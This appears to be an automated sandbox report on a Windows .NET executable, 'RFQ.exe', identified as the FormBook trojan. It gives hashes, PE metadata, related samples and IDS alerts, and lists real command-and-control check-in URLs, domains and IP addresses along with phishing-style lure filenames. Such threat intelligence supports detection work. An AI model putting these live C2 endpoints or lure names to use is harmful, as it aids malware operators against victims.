	d6DdOfC2CX.exe	Get hash	malicious	Browse	www.binggraesantorini.com/oean/?a48=tXIxBnA8MdXL_&8pgPiXdx=/Tb7qIo04uGXBbtKj7Gh2hKFZ23w4lXxZLIRhmmQ06FOFSjXGQetYF8HQ+YKLQa/Tme5
	Xi4vVgHekF.exe	Get hash	malicious	Browse	www.meteorproductions.com/rina/?GFQL=TMZEQYG2UswymKPfkD1Em/7Trla8viGjdzsJCfeDJee6NTj/BJ2855vAN5avMS7lbaiQ&wFN0DX=UtX8E
	3434355455453456789998765.exe	Get hash	malicious	Browse	www.laserpointer.info/mlc/?YBZpb4BH=kzmmjrQvnDn2Ud+hp3/83ZAXixEPSsATZ6hGskLvPECSEufenA0PrhHwF2Sbhi50C5bU&op=3f5H00mHa
	VESSEL SPECIFICATION.exe	Get hash	malicious	Browse	www.svim.net/thg/?VR-Dt=3fMXALypyvP0hH50&YVMxBJOP=r32lJIz8yKvAioIGynZwNVes0n1inEOdgAjT1WruL4Zezn1lKfVRDCDJuvgI01HR7RxZ
	FPZaxqP7uB.exe	Get hash	malicious	Browse	www.puzuie.com/hvu9/?1bYx=mzrhxBJ&uTuD=JMIY/+470AUV9isobBONSlHuQ3cLIefQqaKlKODEG/+g4WPGXgug4vBWc5IBy6Ccw8++yL+hag==
	c8TrAKsz0T.exe	Get hash	malicious	Browse	www.germanystablecoin.com/j5an/?k2JdyL=+GzZZ/ukbIpTS+70UT3U+XC4jl079xNw93zJYJ1/+j98kJ4ssN8B/4yt8+9tL3ccZHOw&tXR=NXeX2
	6tivtkKtQx.exe	Get hash	malicious	Browse	www.mysooners.com/c8so/?BZL0RN=2YXJiTqZi68WJQIrbqfAgGZld34eoYuZo6K1ueRhfipzo1xrPJ1eiN+05zuIQSkimI0cPBX47w==&3fPHK=w8O8gTXxNJq
	Inquiry PR11020204168.xlsx	Get hash	malicious	Browse	www.layaliskincare.com/eaud/?jpAl=bByFH+R/BhlWoShw8EyW95o99Lsh63x8zBZMnhv4irne1VYETzjp+zBgzEd00jC+6fE+eg==&9r9pbr=PFNt7jWXNX8tCbd
	po071.exe	Get hash	malicious	Browse	www.dragonflyroad.com/bf3/?uFNl=XPAhirCXgrU&kp7hEdt=mvLvjMI7vJfDX9zsIYecWVJrLvzuQvPoH/AGQq1WQWZy8Iz+Bo3AXfM19bLCyF+A2DObd2roWg==
	dGWioTejLEz0eVM.exe	Get hash	malicious	Browse	www.glidedisc.com/uszn/?iBuls4=k8LDdvI09Zt0Zc58jkHhkvf6XKHU9auQUPlrx5RhYiqG6jEna57pwsRdo9lN7TQKawVzI1xrLQ==&_RAd4r=ZL30MH78FB1
	RFQ_19-027-MP-010203 _ 19-028-MP-010203 _ 19-029-MP-04.exe	Get hash	malicious	Browse	www.kingsheikh.com/cdl/?BR=cjrxU&Vz=dFJIMu55hFPO5Llp6lk28Ar0NuQ61q8qVdUtlvhP16zNpDSVN47re2Q+GP3glIDWkHrQ
	Request for Quotation.exe	Get hash	malicious	Browse	www.houstonlasertreatment.com/9t6k/?wR=ZCRzbh+mV5U9jV63l/ePyvYN+FvSTSwK5UsHcLfRd9SkNZvXg97F8eocX5PPbm4+ZEyk&S0Gll=RRHTxr6PgzuH1
	Purchase order nr.0119-21.exe	Get hash	malicious	Browse	www.pausmam.com/n6sn/?Ezu=UTChYH0pLxS4_d1&Y4sX6bJP=3AnMkeGG2tUq5yfyW6XY4HZIQPS/0XzehrQH6pNoacETLQZfVVzXjlG1MBV8mhQKU3h/
	Shipping Document PL&BL Draft01.exe	Get hash	malicious	Browse	www.ezcleanhandle.com/h3qo/?sZvLV6=YL0dHrC8cTJl7z30&v4XtM=Y9Tv1wBLRoSjorUAQG71A6NYLbsedH7xaXSNeZbowcZDbac/AED0EL0eZeLpELAJd6fj

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
ghs.googlehosted.com	YSZiV5Oh2E.exe	Get hash	malicious	Browse	216.58.206.51
	HEC Batangas Integrated LNG and Power Project DocumentationsType a message.exe.exe	Get hash	malicious	Browse	142.250.180.179
	aUWqpYqmXT.exe	Get hash	malicious	Browse	142.250.179.147
	2021_036,pdf.exe	Get hash	malicious	Browse	172.217.20.243
	P.O 5282.exe	Get hash	malicious	Browse	172.217.20.243
	Details.exe	Get hash	malicious	Browse	172.217.20.243
	QgWarCS5Z4.exe	Get hash	malicious	Browse	172.217.20.243
	attach-563539606.xls	Get hash	malicious	Browse	172.217.20.243
	30 percento,pdf.exe	Get hash	malicious	Browse	172.217.20.243
	wl0mBiXkW1.exe	Get hash	malicious	Browse	216.58.207.179
	PR Agreement FEB2021.xlsx	Get hash	malicious	Browse	216.58.207.179
	Purchase#Order_BC012356.pdf.exe	Get hash	malicious	Browse	216.58.207.179
	DHL eShipment invoice_pdf.exe	Get hash	malicious	Browse	216.58.207.179
	vt5WM7St45.exe	Get hash	malicious	Browse	216.58.207.147
	KROS Sp. z.o.o.exe	Get hash	malicious	Browse	216.58.207.179
	NsNu725j8o.exe	Get hash	malicious	Browse	172.217.17.147
	R85exvLDws.rtf	Get hash	malicious	Browse	172.217.17.147
	YWrrcqVAno.exe	Get hash	malicious	Browse	108.177.119.121
	0QKsIlEBln.exe	Get hash	malicious	Browse	172.217.17.147
	Inv_9876567.doc	Get hash	malicious	Browse	172.217.17.147

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
AMAZON-02US	ORDER SPECIFICATIONS.exe	Get hash	malicious	Browse	13.57.130.120
	22 FEB -PROCESSING.xlsx	Get hash	malicious	Browse	35.158.240.78
	ORDER LIST.xlsx	Get hash	malicious	Browse	54.67.62.204
	BL + PL + CI.xlsx	Get hash	malicious	Browse	54.67.120.65
	#U007einvoice#U007eSC00978656.xlsx	Get hash	malicious	Browse	54.67.57.56
	FortPlayerInstaller.exe	Get hash	malicious	Browse	13.224.94.78
	RGB HeroInstaller.exe	Get hash	malicious	Browse	99.86.159.18
	Buff-Installer.exe	Get hash	malicious	Browse	13.224.195.128
	PO_210222.exe	Get hash	malicious	Browse	52.58.78.16
	Order83930.exe	Get hash	malicious	Browse	3.131.252.17
	rieuro.dll	Get hash	malicious	Browse	143.204.4.74
	AWB-INVOICE_PDF.exe	Get hash	malicious	Browse	52.213.114.86
	document-1915351743.xls	Get hash	malicious	Browse	143.204.4.74
	X1(1).xlsm	Get hash	malicious	Browse	99.86.159.123
	wsXYadCYsE.pkg	Get hash	malicious	Browse	52.216.242.12
	X1(1).xlsm	Get hash	malicious	Browse	99.86.159.76
	X1(1).xlsm	Get hash	malicious	Browse	99.86.159.123
	IMG_01670_Scanned.doc	Get hash	malicious	Browse	18.189.205.91
	1.apk	Get hash	malicious	Browse	52.29.131.127
	Small Charities.xlsx	Get hash	malicious	Browse	99.86.159.51
IMH-WESTUS	DHL_Invoice.exe	Get hash	malicious	Browse	144.208.71.113
	Drawings.xlsm	Get hash	malicious	Browse	209.182.193.47
	swift-copy-pdf.exe	Get hash	malicious	Browse	173.231.192.44
	Outstanding Invoices.gz.exe	Get hash	malicious	Browse	144.208.71.113
	Purchase Order.exe	Get hash	malicious	Browse	173.231.198.30
	Order.#021121P.exe	Get hash	malicious	Browse	144.208.71.113
	six.exe	Get hash	malicious	Browse	205.134.254.189
	six.exe	Get hash	malicious	Browse	205.134.254.189
	Invoice 1028613.html	Get hash	malicious	Browse	192.145.236.179
	SWIFT (8).exe	Get hash	malicious	Browse	144.208.71.113
	Outstanding Invoices.exe	Get hash	malicious	Browse	144.208.71.113
	DOCUMENT-90.xls	Get hash	malicious	Browse	173.247.252.17
	DOCUMENT-90.xls	Get hash	malicious	Browse	173.247.252.17
	Statement for January 2021.exe	Get hash	malicious	Browse	192.249.115.168
	malware.doc	Get hash	malicious	Browse	23.235.208.88
	Order confirmation 64236000000025 26.01.2021.exe	Get hash	malicious	Browse	192.249.115.168
	Top Urgent_New_Order_PDF.exe	Get hash	malicious	Browse	173.247.251.165
	JK981U7607.doc	Get hash	malicious	Browse	23.235.208.88
	EK6BR1KS50.exe	Get hash	malicious	Browse	205.134.254.189
	7145-2021.doc	Get hash	malicious	Browse	23.235.208.88

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\RFQ.exe.log Download File
Process:	C:\Users\user\Desktop\RFQ.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.355304211458859
Encrypted:	false
SSDEEP:	24:MLUE4K5E4Ks2E1qE4qXKDE4KhK3VZ9pKhPKIE4oKFKHKoZAE4Kzr7FE4x84j:MIHK5HKXE1qHiYHKhQnoPtHoxHhAHKzr
MD5:	FED34146BF2F2FA59DCF8702FCC8232E
SHA1:	B03BFEA175989D989850CF06FE5E7BBF56EAA00A
SHA-256:	123BE4E3590609A008E85501243AF5BC53FA0C26C82A92881B8879524F8C0D5C
SHA-512:	1CC89F2ED1DBD70628FA1DC41A32BA0BFA3E81EAE1A1CF3C5F6A48F2DA0BF1F21A5001B8A18B04043C5B8FE4FBE663068D86AA8C4BD8E17933F75687C3178FF6
Malicious:	true
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\b219d4630d26b88041b59c21

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	6.76833763612999
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	RFQ.exe
File size:	863232
MD5:	d0776103a16d59cf8a53d84854377371
SHA1:	11189405de042e38b6d5a7d5ba9250e091d8a0fe
SHA256:	8cbda95915fcb9696e4e221cdb72f9dc9175af27e348f05bede3f988aee9070c
SHA512:	8529f617e9119f7faf8add645b3e80f8840a3ebb2e47f128a758386f58a0b29d93d789f9c6381923a5e467c0273694dce73fd33bf6b498bf57e4f3a05ad48a98
SSDEEP:	12288:VlTEPaX1TLseNwPmJoLwv3ZUWVktSiyyjK:VAalP5wPmjv38td8
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...z]4`..............0..6..........VT... ...`....@.. ....................................@................................

File Icon


Icon Hash:	929296929e9e8eb2

Static PE Info

General
Entrypoint:	0x4a5456
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE
DLL Characteristics:	NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x60345D7A [Tue Feb 23 01:42:18 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:	v4.0.30319
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xa5404	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xa6000	0x2f0ac	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xd6000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xa345c	0xa3600	False	0.619076367636	data	6.7542993606	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rsrc	0xa6000	0x2f0ac	0x2f200	False	0.362400530504	data	6.2420561664	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xd6000	0xc	0x200	False	0.044921875	data	0.101910425663	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type
RT_ICON	0xa62b0	0x709e	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced
RT_ICON	0xad350	0x10828	dBase IV DBT, blocks size 0, block length 2048, next free block index 40, next free block 318767104, next used block 117440512
RT_ICON	0xbdb78	0x94a8	data
RT_ICON	0xc7020	0x5488	data
RT_ICON	0xcc4a8	0x4228	dBase IV DBT of \200.DBF, blocks size 0, block length 16896, next free block index 40, next free block 224, next used block 117440512
RT_ICON	0xd06d0	0x25a8	data
RT_ICON	0xd2c78	0x10a8	data
RT_ICON	0xd3d20	0x988	data
RT_ICON	0xd46a8	0x468	GLS_BINARY_LSB_FIRST
RT_GROUP_ICON	0xd4b10	0x84	data
RT_VERSION	0xd4b94	0x32c	data
RT_MANIFEST	0xd4ec0	0x1ea	XML 1.0 document, UTF-8 Unicode (with BOM) text, with CRLF line terminators

Imports

DLL	Import
mscoree.dll	_CorExeMain

Version Infos

Description	Data
Translation	0x0000 0x04b0
LegalCopyright	Copyright 2016
Assembly Version	1.0.0.0
InternalName	gRGHFU6B.exe
FileVersion	1.0.0.0
CompanyName
LegalTrademarks
Comments
ProductName	Core.Numero
ProductVersion	1.0.0.0
FileDescription	Core.Numero
OriginalFilename	gRGHFU6B.exe

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
02/23/21-09:02:32.254739	TCP	2031453	ET TROJAN FormBook CnC Checkin (GET)	49746	80	192.168.2.6	144.208.69.172
02/23/21-09:02:32.254739	TCP	2031449	ET TROJAN FormBook CnC Checkin (GET)	49746	80	192.168.2.6	144.208.69.172
02/23/21-09:02:32.254739	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49746	80	192.168.2.6	144.208.69.172
02/23/21-09:03:13.101063	TCP	2031453	ET TROJAN FormBook CnC Checkin (GET)	49750	80	192.168.2.6	142.250.185.179
02/23/21-09:03:13.101063	TCP	2031449	ET TROJAN FormBook CnC Checkin (GET)	49750	80	192.168.2.6	142.250.185.179
02/23/21-09:03:13.101063	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49750	80	192.168.2.6	142.250.185.179

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 23, 2021 09:02:32.057193995 CET	49746	80	192.168.2.6	144.208.69.172
Feb 23, 2021 09:02:32.254420996 CET	80	49746	144.208.69.172	192.168.2.6
Feb 23, 2021 09:02:32.254554987 CET	49746	80	192.168.2.6	144.208.69.172
Feb 23, 2021 09:02:32.254739046 CET	49746	80	192.168.2.6	144.208.69.172
Feb 23, 2021 09:02:32.451694965 CET	80	49746	144.208.69.172	192.168.2.6
Feb 23, 2021 09:02:32.452405930 CET	80	49746	144.208.69.172	192.168.2.6
Feb 23, 2021 09:02:32.452428102 CET	80	49746	144.208.69.172	192.168.2.6
Feb 23, 2021 09:02:32.452450991 CET	80	49746	144.208.69.172	192.168.2.6
Feb 23, 2021 09:02:32.452472925 CET	80	49746	144.208.69.172	192.168.2.6
Feb 23, 2021 09:02:32.452492952 CET	80	49746	144.208.69.172	192.168.2.6
Feb 23, 2021 09:02:32.452513933 CET	80	49746	144.208.69.172	192.168.2.6
Feb 23, 2021 09:02:32.452533960 CET	80	49746	144.208.69.172	192.168.2.6
Feb 23, 2021 09:02:32.452552080 CET	80	49746	144.208.69.172	192.168.2.6
Feb 23, 2021 09:02:32.452568054 CET	80	49746	144.208.69.172	192.168.2.6
Feb 23, 2021 09:02:32.452629089 CET	80	49746	144.208.69.172	192.168.2.6
Feb 23, 2021 09:02:32.452646017 CET	80	49746	144.208.69.172	192.168.2.6
Feb 23, 2021 09:02:32.452665091 CET	49746	80	192.168.2.6	144.208.69.172
Feb 23, 2021 09:02:32.452702999 CET	49746	80	192.168.2.6	144.208.69.172
Feb 23, 2021 09:02:32.452756882 CET	49746	80	192.168.2.6	144.208.69.172
Feb 23, 2021 09:02:50.712259054 CET	49749	80	192.168.2.6	52.58.78.16
Feb 23, 2021 09:02:50.753252029 CET	80	49749	52.58.78.16	192.168.2.6
Feb 23, 2021 09:02:50.753401041 CET	49749	80	192.168.2.6	52.58.78.16
Feb 23, 2021 09:02:50.753595114 CET	49749	80	192.168.2.6	52.58.78.16
Feb 23, 2021 09:02:50.794467926 CET	80	49749	52.58.78.16	192.168.2.6
Feb 23, 2021 09:02:50.794495106 CET	80	49749	52.58.78.16	192.168.2.6
Feb 23, 2021 09:02:50.794502974 CET	80	49749	52.58.78.16	192.168.2.6
Feb 23, 2021 09:02:50.794995070 CET	49749	80	192.168.2.6	52.58.78.16
Feb 23, 2021 09:02:50.795031071 CET	49749	80	192.168.2.6	52.58.78.16
Feb 23, 2021 09:02:50.836133957 CET	80	49749	52.58.78.16	192.168.2.6

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 23, 2021 09:00:48.355756998 CET	53	49283	8.8.8.8	192.168.2.6
Feb 23, 2021 09:00:48.811651945 CET	58377	53	192.168.2.6	8.8.8.8
Feb 23, 2021 09:00:48.860289097 CET	53	58377	8.8.8.8	192.168.2.6
Feb 23, 2021 09:00:50.751560926 CET	55074	53	192.168.2.6	8.8.8.8
Feb 23, 2021 09:00:50.800250053 CET	53	55074	8.8.8.8	192.168.2.6
Feb 23, 2021 09:00:51.911751032 CET	54513	53	192.168.2.6	8.8.8.8
Feb 23, 2021 09:00:51.960517883 CET	53	54513	8.8.8.8	192.168.2.6
Feb 23, 2021 09:00:52.909697056 CET	62044	53	192.168.2.6	8.8.8.8
Feb 23, 2021 09:00:52.958538055 CET	53	62044	8.8.8.8	192.168.2.6
Feb 23, 2021 09:00:54.064347982 CET	63791	53	192.168.2.6	8.8.8.8
Feb 23, 2021 09:00:54.125205040 CET	53	63791	8.8.8.8	192.168.2.6
Feb 23, 2021 09:00:55.042330980 CET	64267	53	192.168.2.6	8.8.8.8
Feb 23, 2021 09:00:55.091396093 CET	53	64267	8.8.8.8	192.168.2.6
Feb 23, 2021 09:00:55.862653971 CET	49448	53	192.168.2.6	8.8.8.8
Feb 23, 2021 09:00:55.922374964 CET	53	49448	8.8.8.8	192.168.2.6
Feb 23, 2021 09:00:56.040024042 CET	60342	53	192.168.2.6	8.8.8.8
Feb 23, 2021 09:00:56.101588964 CET	53	60342	8.8.8.8	192.168.2.6
Feb 23, 2021 09:00:57.268399000 CET	61346	53	192.168.2.6	8.8.8.8
Feb 23, 2021 09:00:57.318077087 CET	53	61346	8.8.8.8	192.168.2.6
Feb 23, 2021 09:00:58.479578018 CET	51774	53	192.168.2.6	8.8.8.8
Feb 23, 2021 09:00:58.528753042 CET	53	51774	8.8.8.8	192.168.2.6
Feb 23, 2021 09:00:59.690501928 CET	56023	53	192.168.2.6	8.8.8.8
Feb 23, 2021 09:00:59.740797043 CET	53	56023	8.8.8.8	192.168.2.6
Feb 23, 2021 09:01:00.781809092 CET	58384	53	192.168.2.6	8.8.8.8
Feb 23, 2021 09:01:00.834171057 CET	53	58384	8.8.8.8	192.168.2.6
Feb 23, 2021 09:01:02.542325974 CET	60261	53	192.168.2.6	8.8.8.8
Feb 23, 2021 09:01:02.593822956 CET	53	60261	8.8.8.8	192.168.2.6
Feb 23, 2021 09:01:03.560722113 CET	56061	53	192.168.2.6	8.8.8.8
Feb 23, 2021 09:01:03.609703064 CET	53	56061	8.8.8.8	192.168.2.6
Feb 23, 2021 09:01:04.618038893 CET	58336	53	192.168.2.6	8.8.8.8
Feb 23, 2021 09:01:04.669572115 CET	53	58336	8.8.8.8	192.168.2.6
Feb 23, 2021 09:01:05.646097898 CET	53781	53	192.168.2.6	8.8.8.8
Feb 23, 2021 09:01:05.694782972 CET	53	53781	8.8.8.8	192.168.2.6
Feb 23, 2021 09:01:06.853861094 CET	54064	53	192.168.2.6	8.8.8.8
Feb 23, 2021 09:01:06.911338091 CET	53	54064	8.8.8.8	192.168.2.6
Feb 23, 2021 09:01:07.851270914 CET	52811	53	192.168.2.6	8.8.8.8
Feb 23, 2021 09:01:07.908420086 CET	53	52811	8.8.8.8	192.168.2.6
Feb 23, 2021 09:01:08.672034979 CET	55299	53	192.168.2.6	8.8.8.8
Feb 23, 2021 09:01:08.723612070 CET	53	55299	8.8.8.8	192.168.2.6
Feb 23, 2021 09:01:10.346093893 CET	63745	53	192.168.2.6	8.8.8.8
Feb 23, 2021 09:01:10.394926071 CET	53	63745	8.8.8.8	192.168.2.6
Feb 23, 2021 09:01:29.060322046 CET	50055	53	192.168.2.6	8.8.8.8
Feb 23, 2021 09:01:29.111825943 CET	53	50055	8.8.8.8	192.168.2.6
Feb 23, 2021 09:01:43.491708994 CET	61374	53	192.168.2.6	8.8.8.8
Feb 23, 2021 09:01:43.543180943 CET	53	61374	8.8.8.8	192.168.2.6
Feb 23, 2021 09:01:45.452984095 CET	50339	53	192.168.2.6	8.8.8.8
Feb 23, 2021 09:01:45.504528999 CET	53	50339	8.8.8.8	192.168.2.6
Feb 23, 2021 09:02:00.268867016 CET	63307	53	192.168.2.6	8.8.8.8
Feb 23, 2021 09:02:00.331360102 CET	53	63307	8.8.8.8	192.168.2.6
Feb 23, 2021 09:02:01.214754105 CET	49694	53	192.168.2.6	8.8.8.8
Feb 23, 2021 09:02:01.277630091 CET	53	49694	8.8.8.8	192.168.2.6
Feb 23, 2021 09:02:02.366777897 CET	54982	53	192.168.2.6	8.8.8.8
Feb 23, 2021 09:02:02.423906088 CET	53	54982	8.8.8.8	192.168.2.6
Feb 23, 2021 09:02:03.243858099 CET	50010	53	192.168.2.6	8.8.8.8
Feb 23, 2021 09:02:03.301057100 CET	53	50010	8.8.8.8	192.168.2.6
Feb 23, 2021 09:02:03.764184952 CET	63718	53	192.168.2.6	8.8.8.8
Feb 23, 2021 09:02:03.821258068 CET	53	63718	8.8.8.8	192.168.2.6
Feb 23, 2021 09:02:04.406476974 CET	62116	53	192.168.2.6	8.8.8.8
Feb 23, 2021 09:02:04.463798046 CET	53	62116	8.8.8.8	192.168.2.6
Feb 23, 2021 09:02:04.521353006 CET	63816	53	192.168.2.6	8.8.8.8
Feb 23, 2021 09:02:04.580095053 CET	53	63816	8.8.8.8	192.168.2.6
Feb 23, 2021 09:02:05.082885027 CET	55014	53	192.168.2.6	8.8.8.8
Feb 23, 2021 09:02:05.142215014 CET	53	55014	8.8.8.8	192.168.2.6
Feb 23, 2021 09:02:05.776993990 CET	62208	53	192.168.2.6	8.8.8.8
Feb 23, 2021 09:02:05.837080002 CET	53	62208	8.8.8.8	192.168.2.6
Feb 23, 2021 09:02:06.611180067 CET	57574	53	192.168.2.6	8.8.8.8
Feb 23, 2021 09:02:06.671308041 CET	53	57574	8.8.8.8	192.168.2.6
Feb 23, 2021 09:02:07.761821032 CET	51818	53	192.168.2.6	8.8.8.8
Feb 23, 2021 09:02:07.820568085 CET	53	51818	8.8.8.8	192.168.2.6
Feb 23, 2021 09:02:08.421458960 CET	56628	53	192.168.2.6	8.8.8.8
Feb 23, 2021 09:02:08.481173038 CET	53	56628	8.8.8.8	192.168.2.6
Feb 23, 2021 09:02:31.649305105 CET	60778	53	192.168.2.6	8.8.8.8
Feb 23, 2021 09:02:31.706422091 CET	53	60778	8.8.8.8	192.168.2.6
Feb 23, 2021 09:02:31.836554050 CET	53799	53	192.168.2.6	8.8.8.8
Feb 23, 2021 09:02:32.050143003 CET	53	53799	8.8.8.8	192.168.2.6
Feb 23, 2021 09:02:32.104825974 CET	54683	53	192.168.2.6	8.8.8.8
Feb 23, 2021 09:02:32.156493902 CET	53	54683	8.8.8.8	192.168.2.6
Feb 23, 2021 09:02:33.821640015 CET	59329	53	192.168.2.6	8.8.8.8
Feb 23, 2021 09:02:33.886838913 CET	53	59329	8.8.8.8	192.168.2.6
Feb 23, 2021 09:02:50.648041964 CET	64021	53	192.168.2.6	8.8.8.8
Feb 23, 2021 09:02:50.710078001 CET	53	64021	8.8.8.8	192.168.2.6
Feb 23, 2021 09:03:12.959939003 CET	56129	53	192.168.2.6	8.8.8.8
Feb 23, 2021 09:03:13.052021980 CET	53	56129	8.8.8.8	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Feb 23, 2021 09:02:31.836554050 CET	192.168.2.6	8.8.8.8	0x90dd	Standard query (0)	www.eudorabcantik.com	A (IP address)	IN (0x0001)
Feb 23, 2021 09:02:50.648041964 CET	192.168.2.6	8.8.8.8	0xcf1d	Standard query (0)	www.skincolored.com	A (IP address)	IN (0x0001)
Feb 23, 2021 09:03:12.959939003 CET	192.168.2.6	8.8.8.8	0xf73b	Standard query (0)	www.ghoshtechno.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Feb 23, 2021 09:02:32.050143003 CET	8.8.8.8	192.168.2.6	0x90dd	No error (0)	www.eudorabcantik.com		144.208.69.172	A (IP address)	IN (0x0001)
Feb 23, 2021 09:02:50.710078001 CET	8.8.8.8	192.168.2.6	0xcf1d	No error (0)	www.skincolored.com		52.58.78.16	A (IP address)	IN (0x0001)
